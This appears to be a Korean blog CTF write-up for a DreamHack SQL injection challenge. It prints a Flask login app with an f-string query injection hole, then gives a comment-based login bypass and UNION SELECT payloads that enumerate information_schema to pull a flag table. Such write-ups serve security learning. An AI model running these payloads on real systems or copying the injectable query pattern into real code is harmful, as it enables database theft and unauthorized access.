import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
전체 코드이다 중요한 부분을 보면은
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
이 부분이다 uid, upw가 입력되었을 때 SQL이 작동된다 cur.execute를 보면 싱글쿼터에 취약한 구조이다.
한번 실험해보자.
admin를 입력시킨 후 싱글쿼터로 막아 나머지는 주석으로 처리하자 -- 를 사용할 때는 --(스페이스바)를 꼭 넣어줘야 먹힌다test를 넣은 이유는 아까 봤듯이 uid, upw 이 모두 입력되어야 하기 때문이다.
결과를 확인해 보면
admin으로 로그인했지만 플래그 값을 보여주지는 않는다.
그러면 DB에 대한 data를 확인해야 하는 거 같다.
칼럼은 결과로 봤듯이 일단 4개의 컬럼은 나와있는 상태이다.
하지만 사용자가 볼 수 있는 칼럼은 #, id, description 총 3개이다.
정확히 확인해 보자.
4개로 확실시되었다.
그렇다면 어떤 DB를 쓰는지 확인해 보자.
' UNION SELECT DATABASE(),2,3,4--
DATABASE()는 현재 사용 중인 데이터베이스를 확인하는 명령어이다.
현재 사용중인 DB는 secret_db이다.
그러면 테이블을 검색해 보자.
' UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema='secret_db';--
칼럼 수를 알고 있으니 information_schema.tables 를 사용하여 DB의 테이블 이름을 가져왔다.
데이터베이스의 이름을 알고있으니 WHERE로 지정해 주도록 하자.
결과를 보면...
user, onlyflag 테이블이 있다.
우리는 flag 가 필요하니까 onlyflag를 열여보자.
' UNION SELECT column_name,2,3,4 FROM information_schema.columns WHERE table_name='onlyflag';--
테이블 안에 있는 것은 칼럼이니까 information_schema.columns을 이용한다.
sname, svalue, sflag, sclose 총 4개의 칼럼이 있다.
아까 사용자가 볼 수 있는 칼럼은 3개라고 이야기했다.
sname을 제외한 svalue, sflag, sclose를 3개 전부 출력하면
플래그 값이 나온다.
'DreamHack > CTF' 카테고리의 다른 글
(CTF출제) mongoboard (1) | 2024.09.04 |
---|---|
(CTF출제) Type c-j (0) | 2024.09.03 |
(CTF 출제)Out of money (0) | 2024.05.08 |
(CTF 출제)DreamHack - broken-png (0) | 2024.05.08 |
(CTF 출제)DreamHack - funjs (1) | 2024.05.03 |